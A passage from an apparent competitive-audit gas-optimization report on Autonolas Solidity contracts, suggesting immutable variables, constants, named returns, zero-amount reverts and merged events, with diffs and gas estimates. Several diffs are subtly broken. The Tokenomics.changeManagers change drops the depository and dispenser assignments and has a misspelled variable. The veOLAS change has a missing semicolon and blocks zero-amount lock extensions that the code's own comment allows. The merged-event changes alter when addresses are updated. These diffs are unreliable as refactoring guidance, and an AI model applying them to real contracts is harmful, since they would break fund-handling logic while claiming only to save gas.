b/tokenomics/contracts/Treasury.sol
index 516c631..dfc0aae 100644
--- a/tokenomics/contracts/Treasury.sol
+++ b/tokenomics/contracts/Treasury.sol
@@ -62,7 +62,7 @@ contract Treasury is IErrorsTokenomics {
    uint96 public ETHFromServices;

    // OLAS token address
-   address public olas;
+   address public immutable olas;

```

```
// ETH owned by treasury
```

Estimated Gas saved: 24200 gas units

2. The pool state variable could be made immutable

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L26

Making the pool state variable immutable would help avoid Gsset (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the functions `depositTake_getPositionDataForOLAS()` and `withdraw()` which reads the pool variable. The diff below shows how the code should be refactored:

```
file: lockbox-solana/solidity/liquidity_lockbox.sol
```

```
26:     address public pool;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..90e50e4 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -23,7 +23,7 @@ contract liquidity_lockbox {
    // Orca whirlpool program address
    address public constant orca =
address"whirLbMiicVdio4qvUfM5KAg6Ct8VwpYzGff3uctyCc";
    // Whirlpool (LP) pool address
-    address public pool;
+    address public immutable pool;
    // Current program owned PDA account address
    address public pdaProgram;
    // Bridged token mint address
```

Estimated Gas saved: 24200 gas units

3. The pdaProgram state variable could be made immutable

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L28

Making the `pdaProgram` state variable immutable would help avoid `Gsset` (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the functions `deposit()` and `withdraw()` which reads the `pdaProgram` variable. The diff below shows how the code should be refactored:

```
file: lockbox-solana/solidity/liquidity_lockbox.sol
```

```
28:     address public pdaProgram;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..a62337b 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -25,7 +25,7 @@ contract liquidity_lockbox {
    // Whirlpool (LP) pool address
    address public pool;
    // Current program owned PDA account address
-   address public pdaProgram;
+   address public immutable pdaProgram;
    // Bridged token mint address
    address public bridgedTokenMint;
    // PDA bridged token account address
```

Estimated Gas saved: 24200 gas units

4. The `bridgedTokenMint` state variable could be made immutable

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L30

Making the `bridgedTokenMint` state variable immutable would help avoid `Gsset` (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the functions `deposit()` and `withdraw()` which reads the `bridgedTokenMint` variable. The diff below shows how the code should be refactored:

```
30:     address public bridgedTokenMint;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..6e4b2dc 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -27,7 +27,7 @@ contract liquidity_lockbox {
    // Current program owned PDA account address
    address public pdaProgram;
    // Bridged token mint address
-   address public bridgedTokenMint;
+   address public immutable bridgedTokenMint;
    // PDA bridged token account address
    address public pdaBridgedTokenAccount;
    // PDA header for position account
```

Estimated Gas saved: 24200 gas units

5. The `pdaBridgedTokenAccount` state variable could be made immutable

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L32

Making the `pdaBridgedTokenAccount` state variable immutable would help avoid Gsset (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the `withdraw()` function which reads the `pdaBridgedTokenAccount` variable. The diff below shows how the code should be refactored:

```
file: lockbox-solana/solidity/liquidity_lockbox.sol
```

```
32:     address public pdaBridgedTokenAccount;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..88f6abd 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -29,7 +29,7 @@ contract liquidity_lockbox {
```

```
// Bridged token mint address
address public bridgedTokenMint;
// PDA bridged token account address
- address public pdaBridgedTokenAccount;
+ address public immutable pdaBridgedTokenAccount;
// PDA header for position account
uint64 public pdaHeader = 0xd0f7407ae48fbcaa;
```

Estimated Gas saved: 22100 gas units

6. The pdaBump state variable could be made immutable

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L38

Making the pdaBump state variable immutable would help avoid Gsset (20000 gas units) in the constructor during deployment. In implementing this change a cheaper stack read 3 gas would be used in place of 1 SLOAD (cold access 2100 gas units) in the functions deposit() and withdraw() which reads the pdaBump variable. The diff below shows how the code should be refactored:

file: lockbox-solana/solidity/liquidity_lockbox.sol

```
28:     bytes1 public pdaBump;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..7c6c4c9 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -35,7 +35,7 @@ contract liquidity_lockbox {
    // Program PDA seed
    bytes public constant pdaProgramSeed = "pdaProgram";
    // Program PDA bump
-   bytes1 public pdaBump;
+   bytes1 public immutable pdaBump;
    int32 public constant minTickLowerIndex = -443632;
    int32 public constant maxTickLowerIndex = 443632;
```

Estimated Gas saved: 24200 gas units

[G-10] Use constants for variables whose value is known beforehand and is never changed

When you declare a state variable as a constant, you're telling the Solidity compiler that this variable's value is known at compile time and will never change during the contract's lifetime. Because of this: The value of the constant state variable is computed and set at the time of contract deployment, not during runtime.

Since the value is known beforehand and cannot change, there is no need to store this value on the Ethereum blockchain, as it can be computed directly whenever needed. When you access the constant state variable in your contract functions, it consumes very little gas because the value is readily available (saved in the contract's bytecode) and does not require any computation.

So, by using constants for state variables whose value is known beforehand and is static (never changed), you save gas because you avoid unnecessary storage and computation costs associated with regular state variables.

The `pdaHeader` state variable should be made a constant since its value is known before hand and never modified.

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L34

Making the `pdaHeader` state variable constant would help avoid SLOAD cold access (2100) and SLOAD warm access (100) for subsequent reads and replace them with cheaper stack read 3 gas units. The diff below shows how the code could be refactored:

```
file: lockbox-solana/solidity/liquidity_lockbox.sol
```

```
34:     uint64 public pdaHeader = 0xd0f7407ae48fbcaa;
```

```
diff --git a/lockbox-solana/solidity/liquidity_lockbox.sol b/lockbox-solana/solidity/liquidity_lockbox.sol
index 6760041..701af47 100644
--- a/lockbox-solana/solidity/liquidity_lockbox.sol
+++ b/lockbox-solana/solidity/liquidity_lockbox.sol
@@ -31,7 +31,7 @@ contract liquidity_lockbox {
    // PDA bridged token account address
    address public pdaBridgedTokenAccount;
    // PDA header for position account
-   uint64 public pdaHeader = 0xd0f7407ae48fbcaa;
+   uint64 public constant pdaHeader = 0xd0f7407ae48fbcaa;
```

```
// Program PDA seed
bytes public constant pdaProgramSeed = "pdaProgram";
// Program PDA bump
```

[G-11] Use named returns for local variables of pure functions where it is possible

Proof of Concept

```
library NoNamedReturnArithmetic {

    function sum(uint256 num1, uint256 num2) internal pure
    returns(uint256){
        return num1 + num2;
    }
}

contract NoNamedReturn {
    using NoNamedReturnArithmetic for uint256;

    uint256 public stateVar;

    function add2State(uint256 num) public {
        stateVar = stateVar.sum(num);
    }
}
```

```
test for test/NoNamedReturn.t.sol:NamedReturnTest
[PASS] test_Increment() (gas: 27639)
```

```
library NamedReturnArithmetic {

    function sum(uint256 num1, uint256 num2) internal pure
    returns(uint256 theSum){
        theSum = num1 + num2;
    }
}

contract NamedReturn {
    using NamedReturnArithmetic for uint256;

    uint256 public stateVar;
```

```

    function add2State(uint256 num) public {
        stateVar = stateVar.sum(num);
    }
}

```

```

test for test/NamedReturn.t.sol:NamedReturnTest
[PASS] test_Increment() (gas: 27613)

```

2 Instances

1. Use named returns in the SplToken.total_supply() function

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/library/spl_token.sol#L109-#L111

```

file: lockbox-solana/solidity/library/spl_token.sol

```

```

109:     function total_supply(AccountInfo account) internal view returns
(uint64) {
110:         return account.data.readUint64LE(36);
112:
113:     }

```

```

diff --git a/lockbox-solana/solidity/library/spl_token.sol b/lockbox-
solana/solidity/library/spl_token.sol
index 4790760..6f89568 100644
--- a/lockbox-solana/solidity/library/spl_token.sol
+++ b/lockbox-solana/solidity/library/spl_token.sol
@@ -106,8 +106,8 @@ library SplToken {

    /// @dev Get the total supply for the mint, i.e. the total amount
in circulation
    /// @param account The AccountInfo struct for the mint account
-    function total_supply(AccountInfo account) internal view returns
(uint64) {
-        return account.data.readUint64LE(36);
+    function total_supply(AccountInfo account) internal view returns
(uint64 totalSupply) {
+        totalSupply = account.data.readUint64LE(36);
    }
}

```

2. Use named returns in the `SplToken.total_supply()` function

- https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/library/spl_token.sol#L115-#L117

```
file: lockbox-solana/solidity/library/spl_token.sol
```

```
115:     function get_balance(AccountInfo account) internal view returns
(uint64) {
116:         return account.data.readUint64LE(64);
117:     }
```

```
diff --git a/lockbox-solana/solidity/library/spl_token.sol b/lockbox-
solana/solidity/library/spl_token.sol
index 4790760..5ed4147 100644
--- a/lockbox-solana/solidity/library/spl_token.sol
+++ b/lockbox-solana/solidity/library/spl_token.sol
@@ -112,7 +112,7 @@ library SplToken {

    /// @dev Get the balance for an account.
    /// @param account the struct AccountInfo whose account balance
we want to retrieve
-    function get_balance(AccountInfo account) internal view returns
(uint64) {
-        return account.data.readUint64LE(64);
+    function get_balance(AccountInfo account) internal view returns
(uint64 balance) {
+        balance = account.data.readUint64LE(64);
    }
```

[G-12] Avoid writing to state if amount is zero

Instances

1. Refactor `OLAS.decreaseAllowance()` to avoid writing to state if amount is zero

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L132-#L133>

In the `OLAS.decreaseAllowance()` function as shown below checks should be implemented to avoid writing to state if the amount argument is zero this is because if amount is 0 the statement `spenderAllowance -= amount` would not change the value of `spenderAllowance` since its being decremented by zero. This then means that in scenarios where amount is 0 the

statement `allowance[msg.sender][spender] = spenderAllowance` is re-assigning the same value to state i.e there is no state change. The diff below shows how the function should be refactored:

```
file: governance/contracts/OLAS.sol

128:     function decreaseAllowance(address spender, uint256 amount)
external returns (bool) {
129:         uint256 spenderAllowance = allowance[msg.sender][spender];
130:
131:         if (spenderAllowance != type(uint256).max) {
132:             spenderAllowance -= amount;
133:             allowance[msg.sender][spender] = spenderAllowance;
134:             emit Approval(msg.sender, spender, spenderAllowance);
135:         }
136:
137:         return true;
138:     }
```

```
C:\Users\USER\Coding Projects\AUDITS DIFFS\2023-12-autonolas (main ->
origin)
λ git diff
diff --git a/governance/contracts/OLAS.sol
b/governance/contracts/OLAS.sol
index a1700ed..5c030ea 100644
--- a/governance/contracts/OLAS.sol
+++ b/governance/contracts/OLAS.sol
@@ -18,6 +18,8 @@ contract OLAS is ERC20 {
    event MinterUpdated(address indexed minter);
    event OwnerUpdated(address indexed owner);

+   error ZeroValue();
+
    // One year interval
    uint256 public constant oneYear = 1 days * 365;
    // Total supply cap for the first ten years (one billion OLAS
tokens)
@@ -126,6 +128,9 @@ contract OLAS is ERC20 {
    /// @param amount Amount to decrease approval by.
    /// @return True if the operation succeeded.
    function decreaseAllowance(address spender, uint256 amount) external
returns (bool) {
+       if(amount == 0) {
+           revert ZeroValue();

```

```
+      }
      uint256 spenderAllowance = allowance[msg.sender][spender];

      if (spenderAllowance != type(uint256).max) {
```

Estimated gas saved: 2900 gas units

2. Refactor `OLAS.increaseAllowance()` to avoid writing to state if amount is zero

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L145-#L153>

In the `OLAS.increaseAllowance()` function as shown below checks should be implemented to avoid writing to state if the amount argument is zero this is because if amount is 0 the statement `spenderAllowance += amount` would not change the value of `spenderAllowance` since its being incremented by zero. This then means that in scenarios where amount is 0 the statement `allowance[msg.sender][spender] = spenderAllowance` is re-assigning the same value to state i.e the is no state change. The diff below shows how the function should be refactored:

```
file: governance/contracts/OLAS.sol

145:     function increaseAllowance(address spender, uint256 amount)
external returns (bool) {
146:         uint256 spenderAllowance = allowance[msg.sender][spender];
147:
148:         spenderAllowance += amount;
149:         allowance[msg.sender][spender] = spenderAllowance;
150:         emit Approval(msg.sender, spender, spenderAllowance);
151:
152:         return true;
153:     }
```

```
diff --git a/governance/contracts/OLAS.sol
b/governance/contracts/OLAS.sol
index a1700ed..6a31e48 100644
--- a/governance/contracts/OLAS.sol
+++ b/governance/contracts/OLAS.sol
@@ -18,6 +18,7 @@ contract OLAS is ERC20 {
     event MinterUpdated(address indexed minter);
     event OwnerUpdated(address indexed owner);
```

```

+   error ZeroValue();
    // One year interval
    uint256 public constant oneYear = 1 days * 365;
    // Total supply cap for the first ten years (one billion OLAS
tokens)
@@ -143,6 +144,9 @@ contract OLAS is ERC20 {
    /// @param amount Amount to increase approval by.
    /// @return True if the operation succeeded.
    function increaseAllowance(address spender, uint256 amount) external
returns (bool) {
+       if (amount == 0) {
+           revert ZeroValue();
+       }
    uint256 spenderAllowance = allowance[msg.sender][spender];

    spenderAllowance += amount;

```

Estimated gas saved: 2900 gas units

3. Refactor OLAS.increaseAllowance() to avoid writing to state if amount is zero

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L330-#L369>

In the `veOLAS._depositFor()` function as shown below checks should be implemented to avoid writing to state if the `amount` argument is zero this is because if `amount` is 0 the statement `supplyAfter = supplyBefore + amount` would not change the value of `supplyAfter` since its being incremented by zero. This then means that in scenarios where `amount` is 0 the statement `supply = supplyAfter` is re-assigning the same value to state i.e there is no state change. The diff below shows how the function should be refactored:

```

file: governance/contracts/veOLAS.sol

330:     function _depositFor(
331:         address account,
332:         uint256 amount,
333:         uint256 unlockTime,
334:         LockedBalance memory lockedBalance,
335:         DepositType depositType
336:     ) internal {
337:         uint256 supplyBefore = supply;
338:         uint256 supplyAfter;
339:         // Cannot overflow because the total supply << 2^128-1

```

```

340:         unchecked {
341:             supplyAfter = supplyBefore + amount;
342:             supply = supplyAfter;
343:         }
344:         // Get the old locked data
345:         LockedBalance memory oldLocked;
346:         (oldLocked.amount, oldLocked.endTime) =
347:         (lockedBalance.amount, lockedBalance.endTime);
348:         // Adding to the existing lock, or if a lock is expired -
349:         // creating a new one
350:         // This cannot be larger than the total supply
351:         unchecked {
352:             lockedBalance.amount += uint128(amount);
353:         }
354:         if (unlockTime > 0) {
355:             lockedBalance.endTime = uint64(unlockTime);
356:         }
357:         mapLockedBalances[account] = lockedBalance;
358:         // Possibilities:
359:         // Both oldLocked.endTime could be current or expired (>/<
360:         // block.timestamp)
361:         // amount == 0 (extend lock) or amount > 0 (add to lock or
362:         // extend lock)
363:         // lockedBalance.endTime > block.timestamp (always)
364:         _checkpoint(account, oldLocked, lockedBalance,
365:         uint128(supplyAfter));
366:         if (amount > 0) {
367:             // OLAS is a solmate-based ERC20 token with optimized
368:             transferFrom() that either returns true or reverts
369:             IERC20(token).transferFrom(msg.sender, address(this),
370:             amount);
371:         }
372:         emit Deposit(account, amount, lockedBalance.endTime,
373:         depositType, block.timestamp);
374:         emit Supply(supplyBefore, supplyAfter);
375:     }

```

```

diff --git a/governance/contracts/veOLAS.sol
b/governance/contracts/veOLAS.sol
index 6f14419..126b6f2 100644
--- a/governance/contracts/veOLAS.sol
+++ b/governance/contracts/veOLAS.sol
@@ -95,6 +95,8 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165 {

```



```

event Withdraw(address indexed account, uint256 amount, uint256 ts);
event Supply(uint256 previousSupply, uint256 currentSupply);

+   error ZeroValue();
+
    // 1 week time
    uint64 internal constant WEEK = 1 weeks;
    // Maximum lock time (4 years)
@@ -334,6 +336,9 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165 {
    LockedBalance memory lockedBalance,
    DepositType depositType
) internal {
+   if(amount == 0) {
+       revert ZeroValue()
+   }
    uint256 supplyBefore = supply;
    uint256 supplyAfter;
    // Cannot overflow because the total supply << 2^128-1
@@ -359,10 +364,9 @@ contract veOLAS is IErrors, IVotes, IERC20, IERC165
{
    // amount == 0 (extend lock) or amount > 0 (add to lock or
extend lock)
    // lockedBalance.endTime > block.timestamp (always)
    _checkpoint(account, oldLocked, lockedBalance,
uint128(supplyAfter));
-   if (amount > 0) {
-       // OLAS is a solmate-based ERC20 token with optimized
transferFrom() that either returns true or reverts
-       IERC20(token).transferFrom(msg.sender, address(this),
amount);
-   }
+   // OLAS is a solmate-based ERC20 token with optimized
transferFrom() that either returns true or reverts
+
+   IERC20(token).transferFrom(msg.sender, address(this), amount);

    emit Deposit(account, amount, lockedBalance.endTime,
depositType, block.timestamp);
    emit Supply(supplyBefore, supplyAfter);

```

Estimated gas saved: 2900 gas units

4. **Refactor** `Tokenomics.reserveAmountForBondProgram()` to avoid writing to state if amount is zero

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L620>

In the `Tokenomics.reserveAmountForBondProgram()` function as shown below checks should be implemented to avoid writing to state if the `amount` argument is zero this is because if `amount` is 0 the statement `eBond -= amount` would not change the value of `eBond` since its being decremented by zero. This then means that in scenarios where `amount` is 0 the statement `effectiveBond = uint96(eBond)` is re-assigning the same value to state i.e there is no state change. The diff below shows how the function should be refactored:

```
file: tokenomics/contracts/Tokenomics.sol

609:     function reserveAmountForBondProgram(uint256 amount) external
returns (bool success) {
610:         // Check for the depository access
611:         if (depository != msg.sender) {
612:             revert ManagerOnly(msg.sender, depository);
613:         }
614:
615:         // Effective bond must be bigger than the requested amount
616:         uint256 eBond = effectiveBond;
617:         if (eBond >= amount) {
618:             // The effective bond value is adjusted with the amount
that is reserved for bonding
619:             // The unrealized part of the bonding amount will be
returned when the bonding program is closed
620:             eBond -= amount;
621:             effectiveBond = uint96(eBond);
622:             success = true;
623:             emit EffectiveBondUpdated(eBond);
624:         }
625:     }
```

```
diff --git a/tokenomics/contracts/Tokenomics.sol
b/tokenomics/contracts/Tokenomics.sol
index 2ef2708..808880b 100644
--- a/tokenomics/contracts/Tokenomics.sol
+++ b/tokenomics/contracts/Tokenomics.sol
@@ -136,6 +136,8 @@ contract Tokenomics is TokenomicsConstants,
IERrorsTokenomics {
    event EpochSettled(uint256 indexed epochCounter, uint256
treasuryRewards, uint256 accountRewards, uint256 accountTopUps);
    event TokenomicsImplementationUpdated(address indexed
implementation);
```

```

+   error ZeroValue();
+
    // Owner address
    address public owner;
    // Max bond per epoch: calculated as a fraction from the OLAS
inflation parameter
@@ -607,6 +609,9 @@ contract Tokenomics is TokenomicsConstants,
IERrorsTokenomics {
    /// @return success True if effective bond threshold is not reached.
    /// #if_succeeds { :msg "effectiveBond" } old(effectiveBond) > amount
==> effectiveBond == old(effectiveBond) - amount;
    function reserveAmountForBondProgram(uint256 amount) external
returns (bool success) {
+       if(amount == 0) {
+           revert ZeroValue();
+       }
    // Check for the depository access
    if (depository != msg.sender) {
        revert ManagerOnly(msg.sender, depository);

```

Estimated gas saved: 2900 gas units

5. Refactor `Tokenomics.refundFromBondProgram()` to avoid writing to state if amount is zero

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L630-#L644>

In the `Tokenomics.refundFromBondProgram()` function as shown below checks should be implemented to avoid writing to state if the amount argument is zero this is because if amount is 0 the statement `uint256 eBond = effectiveBond + amount` would not change the value of `effectiveBond` since its being decremented by zero. This then means that in scenarios where amount is 0 the statement `effectiveBond = uint96(eBond)` is re-assigning the same value to state i.e there is no state change. The diff below shows how the function should be refactored:

```

file: tokenomics/contracts/Tokenomics.sol

630:     function refundFromBondProgram(uint256 amount) external {
631:         // Check for the depository access
632:         if (depository != msg.sender) {
633:             revert ManagerOnly(msg.sender, depository);

```

```

634:     }
635:
636:     uint256 eBond = effectiveBond + amount;
637:     // This scenario is not realistically possible. It is only
possible when closing the bonding program
638:     // with the effectiveBond value close to uint96 max
639:     if (eBond > type(uint96).max) {
640:         revert Overflow(eBond, type(uint96).max);
641:     }
642:     effectiveBond = uint96(eBond);
643:     emit EffectiveBondUpdated(eBond);
644: }

```

```

diff --git a/tokenomics/contracts/Tokenomics.sol
b/tokenomics/contracts/Tokenomics.sol
index 2ef2708..ad396eb 100644
--- a/tokenomics/contracts/Tokenomics.sol
+++ b/tokenomics/contracts/Tokenomics.sol
@@ -136,6 +136,8 @@ contract Tokenomics is TokenomicsConstants,
IERrorsTokenomics {
    event EpochSettled(uint256 indexed epochCounter, uint256
treasuryRewards, uint256 accountRewards, uint256 accountTopUps);
    event TokenomicsImplementationUpdated(address indexed
implementation);

+    error ZeroValue();
+
    // Owner address
    address public owner;
    // Max bond per epoch: calculated as a fraction from the OLAS
inflation parameter
@@ -628,6 +630,9 @@ contract Tokenomics is TokenomicsConstants,
IERrorsTokenomics {
    /// @param amount Amount to be refunded from the closed bond
program.
    /// #if_succeeds { :msg "effectiveBond" } old(effectiveBond + amount)
<= type(uint96).max ==> effectiveBond == old(effectiveBond) + amount;
    function refundFromBondProgram(uint256 amount) external {
+        if(amount == 0) {
+            revert ZeroValue();
+        }
        // Check for the depository access
        if (depository != msg.sender) {
            revert ManagerOnly(msg.sender, depository);

```

Estimated gas saved: 2900 gas units

[G-13] Refactor functions to combine events to reduce gas cost

In scenarios where a function emits multiple event but these events are only emitted by that function we can combine these events to a single event in doing this we would save at least 1 Glog0 375 gas units

Instances

1. Combine the events in `Depository.changeManagers()` to reduce gas cost

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L143-L159>

The `Depository.changeManagers()` function emits two events `TokenomicsUpdated` and `TreasuryUpdated` but these events are only emitted in this function. We can make the `Depository.changeManagers()` function more gas efficient if we combine these `TokenomicsUpdated` and `TreasuryUpdated` events to a single event. The diff below shows how the code could be refactored:

```
file: tokenomics/contracts/Depository.sol

143:     function changeManagers(address _tokenomics, address _treasury)
external {
144:         // Check for the contract ownership
145:         if (msg.sender != owner) {
146:             revert OwnerOnly(msg.sender, owner);
147:         }
148:
149:         // Change Tokenomics contract address
150:         if (_tokenomics != address(0)) {
151:             tokenomics = _tokenomics;
152:             emit TokenomicsUpdated(_tokenomics);
153:         }
154:         // Change Treasury contract address
155:         if (_treasury != address(0)) {
156:             treasury = _treasury;
157:             emit TreasuryUpdated(_treasury);
158:         }
159:     }
```

```

diff --git a/tokenomics/contracts/Depository.sol
b/tokenomics/contracts/Depository.sol
index f9c7d64..e9ac51c 100644
--- a/tokenomics/contracts/Depository.sol
+++ b/tokenomics/contracts/Depository.sol
@@ -61,8 +61,7 @@ struct Product {
    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
    contract Depository is IErrorsTokenomics {
        event OwnerUpdated(address indexed owner);
-       event TokenomicsUpdated(address indexed tokenomics);
-       event TreasuryUpdated(address indexed treasury);
+       event TokenomicsAndTreasuryUpdated(address indexed tokenomics,
address indexed treasury);
        event BondCalculatorUpdated(address indexed bondCalculator);
        event CreateBond(address indexed token, uint256 indexed productId,
address indexed owner, uint256 bondId,
            uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);
@@ -146,16 +145,13 @@ contract Depository is IErrorsTokenomics {
        revert OwnerOnly(msg.sender, owner);
    }

-       // Change Tokenomics contract address
-       if (_tokenomics != address(0)) {
+       // Change Tokenomics contract address and Treasury contract
address
+       if (_tokenomics != address(0) && _treasury != address(0)) {
            tokenomics = _tokenomics;
-           emit TokenomicsUpdated(_tokenomics);
-       }
-       // Change Treasury contract address
-       if (_treasury != address(0)) {
            treasury = _treasury;
-           emit TreasuryUpdated(_treasury);
+           emit TokenomicsAndTreasuryUpdated(_tokenomics, _treasury);
+       }
    }

```

Estimated gas saved: 375 gas units

2. Combine the events in `Dispenser.changeManagers()` to reduce gas cost

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L64-#L80>

The `Dispenser.changeManagers()` function emits two events `TokenomicsUpdated` and `TreasuryUpdated` but these events are only emitted in this function. We can make the `Dispenser.changeManagers()` function more gas efficient if we combine these `TokenomicsUpdated` and `TreasuryUpdated` events to a single event. The diff below shows how the code could be refactored:

```
file: tokenomics/contracts/Dispenser.sol
```

```
64:     function changeManagers(address _tokenomics, address _treasury)
external {
65:         // Check for the contract ownership
66:         if (msg.sender != owner) {
67:             revert OwnerOnly(msg.sender, owner);
68:         }
69:
70:         // Change Tokenomics contract address
71:         if (_tokenomics != address(0)) {
72:             tokenomics = _tokenomics;
73:             emit TokenomicsUpdated(_tokenomics);
74:         }
75:         // Change Treasury contract address
76:         if (_treasury != address(0)) {
77:             treasury = _treasury;
78:             emit TreasuryUpdated(_treasury);
79:         }
80:     }
```

```
diff --git a/tokenomics/contracts/Dispenser.sol
b/tokenomics/contracts/Dispenser.sol
index 9b8f4f5..79e9173 100644
--- a/tokenomics/contracts/Dispenser.sol
+++ b/tokenomics/contracts/Dispenser.sol
@@ -10,8 +10,7 @@ import "./interfaces/ITreasury.sol";
/// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
contract Dispenser is IErrorsTokenomics {
    event OwnerUpdated(address indexed owner);
-   event TokenomicsUpdated(address indexed tokenomics);
-   event TreasuryUpdated(address indexed treasury);
+   event TokenomicsAndTreasuryUpdated(address indexed tokenomics,
address indexed treasury);
    event IncentivesClaimed(address indexed owner, uint256 reward,
uint256 topUp);

    // Owner address
```

```

@@ -67,16 +66,13 @@ contract Dispenser is IErrorsTokenomics {
    revert OwnerOnly(msg.sender, owner);
}

-    // Change Tokenomics contract address
-    if (_tokenomics != address(0)) {
+    // Change Tokenomics contract address and Treasury contract
+    address
+    if (_tokenomics != address(0) && _treasury != address(0)) {
        tokenomics = _tokenomics;
-        emit TokenomicsUpdated(_tokenomics);
-    }
-    // Change Treasury contract address
-    if (_treasury != address(0)) {
        treasury = _treasury;
-        emit TreasuryUpdated(_treasury);
+        emit TokenomicsAndTreasuryUpdated(_tokenomics, _treasury);
+    }
+

```

Estimated gas saved: 375 gas units

3. Combine the events in `Tokenomics.changeManagers()` to reduce gas cost

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L423-#L444>

The `Tokenomics.changeManagers()` function emits three events `DepositoryUpdated`, `DispenserUpdated` and `TreasuryUpdated` but these events are only emitted in this function. We can make the `Tokenomics.changeManagers()` function more gas efficient if we combine these `DepositoryUpdated`, `DispenserUpdated` and `TreasuryUpdated` events to a single event. The diff below shows how the code could be refactored:

```

file: tokenomics/contracts/Tokenomics.sol

423:     function changeManagers(address _treasury, address _depository,
424:         address _dispenser) external {
425:         // Check for the contract ownership
426:         if (msg.sender != owner) {
427:             revert OwnerOnly(msg.sender, owner);
428:         }
429:         // Change Treasury contract address

```



```

430:         if (_treasury != address(0)) {
431:             treasury = _treasury;
432:             emit TreasuryUpdated(_treasury);
433:         }
434:         // Change Depository contract address
435:         if (_depository != address(0)) {
436:             depository = _depository;
437:             emit DepositoryUpdated(_depository);
438:         }
439:         // Change Dispenser contract address
440:         if (_dispenser != address(0)) {
441:             dispenser = _dispenser;
442:             emit DispenserUpdated(_dispenser);
443:         }
444:     }

```

```

diff --git a/tokenomics/contracts/Tokenomics.sol
b/tokenomics/contracts/Tokenomics.sol
index 2ef2708..5b30142 100644
--- a/tokenomics/contracts/Tokenomics.sol
+++ b/tokenomics/contracts/Tokenomics.sol
@@ -117,9 +117,7 @@ struct IncentiveBalances {
    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
    contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
        event OwnerUpdated(address indexed owner);
-       event TreasuryUpdated(address indexed treasury);
-       event DepositoryUpdated(address indexed depository);
-       event DispenserUpdated(address indexed dispenser);
+       event TreasuryDepositoryAndDispenserUpdated(address indexed
treasury, address indexed depository, address indexed dispenser);
        event EpochLengthUpdated(uint256 epochLen);
        event EffectiveBondUpdated(uint256 effectiveBond);
        event IDUpdated(uint256 idf);
@@ -426,21 +424,14 @@ contract Tokenomics is TokenomicsConstants,
IERrorsTokenomics {
    revert OwnerOnly(msg.sender, owner);
}

-       // Change Treasury contract address
-       if (_treasury != address(0)) {
+       // Change Treasury contract address, Depository contract address
+       and Dispenser contract address
+       if (_treasury != address(0) && _depository != address(0) &&
_deispenser != address(0)) {
            treasury = _treasury;

```

```

-         emit TreasuryUpdated(_treasury);
-     }
-     // Change Depository contract address
-     if (_depository != address(0)) {
-         depository = _depository;
-         emit DepositoryUpdated(_depository);
-     }
-     // Change Dispenser contract address
-     if (_dispenser != address(0)) {
-         dispenser = _dispenser;
-         emit DispenserUpdated(_dispenser);
+         emit TreasuryDepositoryAndDispenserUpdated(_treasury,
+ _depository, _dispenser);
-     }
+ }

```

Estimated Gas saved: 750 gas units

4. Combine the events in `Tokenomics.changeRegistries()` to reduce gas cost

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L450-#L469>

